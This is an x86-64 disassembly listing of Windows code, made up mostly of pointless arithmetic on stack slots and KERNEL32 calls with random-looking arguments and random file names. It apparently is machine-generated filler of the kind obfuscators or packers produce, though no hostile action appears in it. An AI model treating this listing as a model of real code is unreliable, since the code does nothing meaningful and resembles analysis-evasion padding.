mov eax, ecx
mov dword [rsp + 0x852c], eax
movsx eax, byte [rsp + 0x92]
mov rcx, qword [rsp + 0x14f00]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x707], al
movzx eax, word [rsp + 0x1fe4]
mov word [rsp + 0x2c70], ax
movzx eax, byte [rsp + 0x6e7]
movzx ecx, byte [rsp + 0x2e7]
and eax, ecx
mov rcx, qword [rsp + 0x14bf0]
mov byte [rcx], al
lea rdx, [rsp + 0x45dc8]
mov rcx, qword [rsp + 0x147f0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xae54], eax
mov rax, qword [rsp + 0x14240]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b00]
sub eax, ecx
mov word [rsp + 0x1510], ax
mov rax, qword [rsp + 0x147b8]
mov rcx, qword [rsp + 0x14a38]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x14b88]
mov dword [rcx], eax
mov rax, qword [0x140363b60]
mov ecx, dword [rsp + 0xac18]
mov eax, dword [rax]
add eax, ecx
mov dword [str._tq_n], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac88], eax
mov eax, dword [rsp + 0xac84]
mov ecx, dword [rsp + 0x6b2c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ff8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xae48]
mov dword [rsp + 0xae58], eax
mov rax, qword [0x140363dd8]
mov rcx, qword [rsp + 0x14388]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7e54], eax
lea rax, [rsp + 0x328]
mov qword [rsp + 0x15260], rax
movzx eax, word [rsp + 0x2ae4]
mov rcx, qword [rsp + 0x12fe8]
movzx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x14268]
mov word [rcx], ax
lea rdx, [rsp + 0x15268]
mov rcx, qword [rsp + 0x13520]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0xad34], eax
mov eax, dword [rsp + 0x6af8]
mov ecx, dword [rsp + 0xa8c0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xacd0], eax
mov eax, dword [rsp + 0xaddc]
mov dword [rsp + 0xae5c], eax
lea rcx, [rsp + 0x41d18]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [0x140363db0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7e54]
sar eax, cl
mov dword [rsp + 0xab1c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
mov rax, qword [rsp + 0x14370]
mov ecx, dword [rsp + 0x66e0]
mov eax, dword [rax]
or eax, ecx
mov dword [0x140363d20], eax
lea rax, [rsp + 0x65c]
mov qword [rsp + 0x15270], rax
movzx eax, word [rsp + 0x1088]
mov rcx, qword [0x140363b30]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x150e0]
mov word [rcx], ax
movsx eax, byte [rsp + 0x137]
mov rcx, qword [rsp + 0x13a70]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x4c5], al
mov qword [rsp + 0x20], 0
mov r9d, 0x36e3
mov r8d, 0x123e
mov edx, 0xeb
mov rcx, qword [rsp + 0x14b70]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xaa9c], eax
mov rax, qword [rsp + 0x14368]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a0c]
add eax, ecx
mov rcx, qword [rsp + 0x14190]
mov word [rcx], ax
mov rax, qword [0x140363dc8]
mov ecx, dword [rsp + 0xac70]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaca4], eax
mov rax, qword [rsp + 0x15138]
mov eax, dword [rax]
mov dword [rsp + 0xae60], eax
mov rax, qword [rsp + 0x148e0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x148c8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x703], al
lea rax, [rsp + 0x2c48]
mov qword [rsp + 0x15278], rax
mov rax, qword [rsp + 0x13ff0]
mov ecx, dword [rsp + 0xae20]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [0x140363d48]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14fc8]
mov ecx, dword [rsp + 0x8ab0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xaa6c], eax
mov rax, qword [rsp + 0x13f50]
mov eax, dword [rax]
mov ecx, dword [0x140363a1c]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14f50]
mov dword [rcx], eax
mov eax, dword [rsp + 0xacf4]
mov ecx, dword [rsp + 0x66cc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8dc4], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.rvZ5ZkukzDTXoS4
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15280], rax
movzx eax, word [0x140362b7c]
movzx ecx, word [rsp + 0x2bb4]
xor eax, ecx
mov word [rsp + 0x2098], ax
mov rax, qword [rsp + 0x13e50]
movzx eax, byte [rax]
mov byte [rsp + 0x71b], al
mov rax, qword [rsp + 0x15088]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x15058]
mov qword [rsp + 0x15288], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15288]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x14f50]
mov dword [rcx], eax
mov eax, dword [rsp + 0xadd8]
mov rcx, qword [0x140363d40]
mov qword [rsp + 0x15290], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15290]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0x13608]
mov dword [rcx], eax
mov dword [rsp + 0x20], 0x2459
mov r9d, 0x3f0b
mov r8d, 0x3a43
mov edx, 0x38f4
mov rcx, qword [rsp + 0x13e08]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0xa7c0], eax
mov rax, qword [rsp + 0x13fa8]
mov eax, dword [rax]
mov dword [rsp + 0xae64], eax
lea rax, [rsp + 0xac40]
mov qword [0x140363e80], rax
mov eax, dword [rsp + 0xa3e0]
mov ecx, dword [rsp + 0xa99c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14c78]
mov dword [rcx], eax
lea rax, [rsp + 0x2c04]
mov qword [rsp + 0x15298], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x136a0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x13eb0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14bf8]
mov byte [rcx], al
lea rax, [rsp + 0x29ec]
mov qword [rsp + 0x152a0], rax
movzx eax, byte [rsp + 0x3bb]
mov rcx, qword [rsp + 0x13368]
movzx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6e0], al
mov rax, qword [rsp + 0x14348]
mov ecx, dword [rsp + 0xab84]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xada8], eax
mov rax, qword [0x140363b38]
mov ecx, dword [rsp + 0x7410]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x89b8], eax
mov rax, qword [rsp + 0x14e00]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x148f8]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x147d8]
mov word [rcx], ax
mov rcx, qword [rsp + 0x14f70]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
movzx eax, byte [rsp + 0x65c]
mov byte [0x14035e506], al
mov rax, qword [0x140363e50]
mov eax, dword [rax]
mov dword [rsp + 0xae68], eax
mov eax, dword [rsp + 0xae50]
mov ecx, dword [rsp + 0xadc0]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xadec], eax
mov rax, qword [rsp + 0x12f20]
mov ecx, dword [rsp + 0xa98c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13f70]
mov dword [rcx], eax
mov eax, dword [rsp + 0xabfc]
mov ecx, dword [0x14035cc30]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9474], eax
mov rax, qword [rsp + 0x151e0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x71b]
sub eax, ecx
mov byte [rsp + 0x48d], al
lea rax, [rsp + 0x1a2c]
mov qword [rsp + 0x152a8], rax
mov rax, qword [rsp + 0x136e0]
mov ecx, dword [rsp + 0xa950]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9c30], eax
mov rax, qword [rsp + 0x13818]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xabb8]
sar eax, cl
mov rcx, qword [rsp + 0x136f0]
mov dword [rcx], eax
movsx eax, word [0x140353b08]
mov rcx, qword [rsp + 0x14960]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [0x140363ab0]
mov word [rcx], ax
mov rax, qword [rsp + 0x14030]
movzx eax, byte [rax]
mov byte [rsp + 0x71c], al
mov rax, qword [rsp + 0x14558]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x21e4]
shl eax, cl
mov rcx, qword [rsp + 0x13400]
mov word [rcx], ax
lea rax, [0x1403535a6]
mov qword [rsp + 0x152b0], rax
mov rax, qword [rsp + 0x14c80]
mov rcx, qword [rsp + 0x134c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14470]
mov dword [rcx], eax
mov eax, dword [rsp + 0xae2c]
mov ecx, dword [rsp + 0x7a10]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13808]
mov dword [rcx], eax
lea rax, [0x14035cc24]
mov qword [rsp + 0x152b8], rax
mov rax, qword [rsp + 0x13910]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa95c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14df8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14848]
mov eax, dword [rax]
mov dword [rsp + 0xae6c], eax
mov rax, qword [rsp + 0x14968]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2b64]
or eax, ecx
mov word [rsp + 0x144c], ax
movzx eax, byte [rsp + 0x6d4]
movzx ecx, byte [rsp + 0x6cb]
sub eax, ecx
mov byte [0x14035e506], al
mov rax, qword [rsp + 0x148d8]
mov ecx, dword [rsp + 0x9568]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8664], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.xiePNt2ANvDbb8RgBO8
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x152c0], rax
mov rax, qword [rsp + 0x13d70]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad08]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14c88]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6fec]
mov ecx, dword [rsp + 0xac44]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14200]
mov dword [rcx], eax
mov eax, dword [0x140363c90]
mov dword [rsp + 0xae70], eax
movzx eax, word [rsp + 0x2b6c]
mov rcx, qword [rsp + 0x146e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x16dc], ax
lea rax, [rsp + 0x6ce]
mov qword [rsp + 0x152c8], rax
lea rcx, str.QH.JdFS6UkJ_IHaA
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2bc0], ax
movsx eax, byte [rsp + 0x6da]
mov rcx, qword [0x140363b48]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x716], al
movsx eax, word [rsp + 0x2a34]
mov rcx, qword [rsp + 0x14140]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x14518]
mov word [rcx], ax
lea rax, [rsp + 0xae58]
mov qword [0x140363e88], rax
lea rax, [rsp + 0xaacc]
mov qword [rsp + 0x152d0], rax
movzx eax, word [rsp + 0x279c]
mov rcx, qword [rsp + 0x13e98]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2a7c], ax
mov rax, qword [rsp + 0x13558]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6b8]
sar eax, cl
mov byte [rsp + 0xac], al
mov rax, qword [rsp + 0x14378]
mov eax, dword [rax]
mov ecx, dword [0x14035cc18]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xae6c], eax
mov rax, qword [rsp + 0x13ca0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x142f0]
mov qword [rsp + 0x152d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x152d8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x13b48]
mov dword [rcx], eax
lea rax, [rsp + 0x9784]
mov qword [rsp + 0x152e0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetHandleInformation]
mov rax, qword [rsp + 0x14848]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xade0]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14760]
mov dword [rcx], eax
lea rax, [rsp + 0x3bb]
mov qword [rsp + 0x152e8], rax
lea rax, [rsp + 0x29d0]
mov qword [0x140363e90], rax
mov r9d, 0xb7b
xor r8d, r8d
lea rdx, [rsp + 0x14f70]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0xae74], eax
mov rax, qword [rsp + 0x14278]
mov rcx, qword [0x140363968]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x13320]
mov dword [rcx], eax
mov rax, qword [rsp + 0x15240]
mov eax, dword [rax]
mov dword [rsp + 0xae78], eax
mov eax, dword [rsp + 0xae40]
mov ecx, dword [rsp + 0x8638]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14e40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x133c8]
mov ecx, dword [0x140363b08]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaa18], eax
movzx ecx, word [rsp + 0x2bd4]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2bc0], ax
lea rax, [rsp + 0xab4c]
mov qword [rsp + 0x152f0], rax
movsx eax, word [rsp + 0x2bb8]
movsx ecx, word [rsp + 0x2be8]
or eax, ecx
mov rcx, qword [rsp + 0x14880]
mov word [rcx], ax
mov dword [rsp + 0x20], 0x10ef
mov r9d, 0x16b8
mov r8d, 0x1472
mov edx, 0x39b6
mov rcx, qword [rsp + 0x13310]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0xa94c], eax
mov rax, qword [rsp + 0x147e0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x628]
add eax, ecx
mov byte [rsp + 0x33e], al
mov rax, qword [rsp + 0x13060]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6df]
and eax, ecx
mov byte [rsp + 0x6db], al
mov rax, qword [rsp + 0x13de0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x151b0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x140363da0]
mov word [rcx], ax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0x152f8], rax
mov rax, qword [rsp + 0x133d8]
mov rcx, qword [rsp + 0x143f0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xac08], eax
lea rcx, [rsp + 0x41e68]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
lea rax, [rsp + 0x6f68]
mov qword [rsp + 0x15300], rax
movzx eax, byte [rsp + 0x436]
mov rcx, qword [rsp + 0x13718]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x53b], al
mov rax, qword [rsp + 0x14870]
movzx eax, word [rax]
mov word [rsp + 0x2c74], ax
mov rax, qword [rsp + 0x15258]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaaa8]
xor ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15030]
mov dword [rcx], eax
mov eax, dword [rsp + 0xae2c]
mov rcx, qword [rsp + 0x133b0]
mov qword [rsp + 0x15308], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15308]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x965c], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x3b64
mov r8d, 0x7c1
mov edx, 0xa9
mov rcx, qword [rsp + 0x14260]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xa968], eax
mov rcx, qword [rsp + 0x14e28]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
lea rax, [rsp + 0x9ff0]
mov qword [rsp + 0x15310], rax
mov eax, dword [rsp + 0xa91c]
movzx ecx, al
mov eax, dword [rsp + 0xade8]
shl eax, cl
mov rcx, qword [rsp + 0x13660]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14c58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xac]
or eax, ecx
mov byte [0x140353583], al
mov rax, qword [rsp + 0x151d8]
movzx eax, word [rax]
mov word [rsp + 0x2c78], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xae7c], eax
mov eax, dword [rsp + 0x99e8]
mov ecx, dword [rsp + 0xa030]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15038]
mov dword [rcx], eax
mov rax, qword [rsp + 0x137f8]
mov rcx, qword [rsp + 0x13da8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x149b0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x6da]
movsx ecx, byte [rsp + 0x714]
sub eax, ecx
mov byte [rsp + 0x5b1], al
movsx eax, word [rsp + 0x2a2c]
mov rcx, qword [0x1403639e8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x13d60]
mov word [rcx], ax
mov rax, qword [rsp + 0x14e68]
movzx eax, word [rax]
mov word [rsp + 0x2c7c], ax
movzx eax, byte [rsp + 0x23b]
mov rcx, qword [rsp + 0x13698]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x5fb], al
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetInformationJobObject]
lea rdx, [rsp + 0x45ce8]
mov rcx, qword [rsp + 0x15280]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xacf0], eax
mov rax, qword [rsp + 0x14a98]
mov ecx, dword [rsp + 0xac94]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8780], eax
lea rax, [rsp + 0x7784]
mov qword [0x140363e98], rax
mov rax, qword [rsp + 0x138b8]
mov ecx, dword [rsp + 0xad58]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14c10]
mov dword [rcx], eax
mov rax, qword [0x140363dc8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad30]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x146d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14de8]
mov eax, dword [rax]
mov dword [rsp + 0xae80], eax
movzx eax, byte [rsp + 0x6c9]
movzx ecx, byte [rsp + 0x6ca]
and eax, ecx
mov rcx, qword [rsp + 0x14520]
mov byte [rcx], al
mov rax, qword [rsp + 0x14d08]
movzx eax, word [rax]
mov word [rsp + 0x2c80], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xae84], eax
mov rax, qword [rsp + 0x13f28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x765c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13bf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14ff8]
mov ecx, dword [rsp + 0xa78c]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x8808], eax
lea rax, [rsp + 0xaa4c]
mov qword [rsp + 0x15318], rax
mov rax, qword [rsp + 0x149e8]
mov eax, dword [rax]
mov dword [0x140363ea0], eax
movzx eax, word [rsp + 0x2098]
mov rcx, qword [rsp + 0x14870]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2a30], ax
mov rax, qword [rsp + 0x15100]
movzx eax, byte [rax]
movzx ecx, byte [0x1403535a3]
shl eax, cl
mov byte [rsp + 0x676], al
movsx eax, byte [rsp + 0x4ff]
mov rcx, qword [rsp + 0x14d60]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x6ee], al
mov rax, qword [rsp + 0x142e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a38]
and eax, ecx
mov word [rsp + 0x2a74], ax
mov r9d, 1
lea r8, [rsp + 0x13980]
mov rdx, qword [rsp + 0x141f0]
mov rcx, qword [rsp + 0x13848]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa958], eax
mov eax, dword [0x140363b0c]
mov dword [rsp + 0xae88], eax
mov rax, qword [rsp + 0x13a60]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa850]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8b00], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 4
mov edx, 0x80000000
lea rcx, str.licV7CdIBcMD3rQCnaTqoRmpO
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x15320], rax
movzx ecx, word [rsp + 0x2adc]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2acc], ax
movzx eax, word [rsp + 0x23cc]
movzx ecx, word [0x14035cc34]
add eax, ecx
mov word [rsp + 0x1c44], ax
movzx eax, byte [rsp + 0x676]
movzx ecx, byte [rsp + 0x6d7]
add eax, ecx
mov byte [rsp + 0x708], al
mov rax, qword [rsp + 0x142b0]
mov ecx, dword [rsp + 0xab84]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [0x140363d00]
mov dword [rcx], eax
mov rax, qword [0x140363ad0]
mov ecx, dword [rsp + 0x71c8]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x13970]
mov dword [rcx], eax
mov eax, dword [rsp + 0x9c30]
mov dword [rsp + 0xae8c], eax
mov rax, qword [rsp + 0x133d8]
mov ecx, dword [rsp + 0xab30]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x15140]
mov dword [rcx], eax
movzx eax, word [0x140362d5c]
mov word [rsp + 0x2c84], ax
mov rax, qword [rsp + 0x150b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6f3]
add eax, ecx
mov byte [rsp + 0x119], al
lea rax, [rsp + 0x7124]
mov qword [rsp + 0x15328], rax
mov rax, qword [rsp + 0x151f0]
mov ecx, dword [0x140363b84]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xac0c], eax
mov eax, dword [rsp + 0xac60]
mov ecx, dword [rsp + 0x7b5c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x9e6c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xac38], eax
lea rax, [rsp + 0xad20]
mov qword [0x140363ea8], rax
lea rax, [rsp + 0xac5c]
mov qword [rsp + 0x15330], rax
mov rax, qword [rsp + 0x140a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x2a34]
shl eax, cl
mov rcx, qword [rsp + 0x14310]
mov word [rcx], ax
mov rax, qword [rsp + 0x14990]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x14f48]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x361], al
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0xff9
mov r9d, 0x2ae
mov r8d, 0xce8c467f
mov edx, 1
mov rcx, qword [rsp + 0x14da8]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xae90], eax
movzx eax, byte [0x14035e4f5]
movzx ecx, byte [rsp + 0x11c]
sar eax, cl
mov byte [rsp + 0x6c5], al
movzx ecx, word [rsp + 0x2b9c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2b70], ax
movzx eax, word [rsp + 0x20a8]
movzx ecx, word [rsp + 0x2a80]
or eax, ecx
mov word [rsp + 0x17d4], ax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xabf4], eax
lea rcx, [rsp + 0x41c88]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov eax, dword [rsp + 0x6e80]
mov dword [rsp + 0xae94], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xae98], eax
mov eax, dword [rsp + 0xaa48]
mov ecx, dword [rsp + 0xa904]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x7c34], eax
lea rax, [rsp + 0x2af0]
mov qword [rsp + 0x15338], rax
mov rax, qword [rsp + 0x13890]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x13558]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [0x1403535a6], al
mov rax, qword [rsp + 0x13920]
mov eax, dword [rax]
mov ecx, dword [0x14035cc10]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13db0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14888]
mov ecx, dword [rsp + 0x80d0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaa1c], eax
mov rax, qword [0x140363bf0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xad90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x8c88], eax
mov qword [rsp + 0x20], 0
mov r9d, 0x2ac1
mov r8d, 0x1aaa
mov edx, 0x4e
mov rcx, qword [rsp + 0x13f10]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xa8a8], eax
mov rax, qword [rsp + 0x133d8]
mov ecx, dword [rsp + 0xac9c]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x13900]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13590]
movzx eax, byte [rax]
mov byte [rsp + 0x71d], al
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa994], eax
mov rax, qword [rsp + 0x14ac8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2bec]
and eax, ecx
mov rcx, qword [rsp + 0x14748]
mov word [rcx], ax
mov eax, dword [rsp + 0x82e8]
mov dword [rsp + 0xae9c], eax
mov rax, qword [rsp + 0x142e0]
mov rcx, qword [rsp + 0x13ae0]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xaae0], eax
movsx eax, word [0x140362d84]
movsx ecx, word [rsp + 0x2a5c]
imul eax, ecx
mov word [0x14035cc20], ax
movsx eax, byte [rsp + 0x6f1]
movsx ecx, byte [rsp + 0x92]
add eax, ecx
mov rcx, qword [rsp + 0x14bc0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x464]
movzx ecx, byte [rsp + 0x70f]
xor eax, ecx
mov byte [rsp + 0x290], al
mov rax, qword [rsp + 0x144f8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14580]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x14dc], ax
lea rax, [rsp + 0xa7d0]
mov qword [rsp + 0x15340], rax
mov rax, qword [rsp + 0x13da0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x141a8]
mov qword [rsp + 0x15348], rcx
movzx ecx, al
mov rax, qword [rsp + 0x15348]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x142f8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x13550]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa90c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x15318]
mov dword [rcx], eax
mov eax, dword [rsp + 0xaae0]
mov dword [rsp + 0xaea0], eax
mov eax, dword [rsp + 0xabcc]
mov ecx, dword [0x14035cc18]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6bc0], eax
lea rax, [rsp + 0x65c]
mov qword [rsp + 0x15350], rax
movzx eax, word [rsp + 0x14dc]
movzx ecx, word [rsp + 0x2af0]
or eax, ecx
mov word [0x14035cc64], ax
mov rax, qword [rsp + 0x13ef8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa8cc]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14168]
mov dword [rcx], eax
mov rax, qword [rsp + 0x14760]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xac0c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x14350]
mov dword [rcx], eax
lea rax, [rsp + 0x6650]
mov qword [rsp + 0x15358], rax
mov eax, dword [rsp + 0xab98]
mov ecx, dword [0x140363a20]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13a38]
mov dword [rcx], eax
movzx eax, word [rsp + 0x2bb0]
mov rcx, qword [rsp + 0x151d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2548], ax
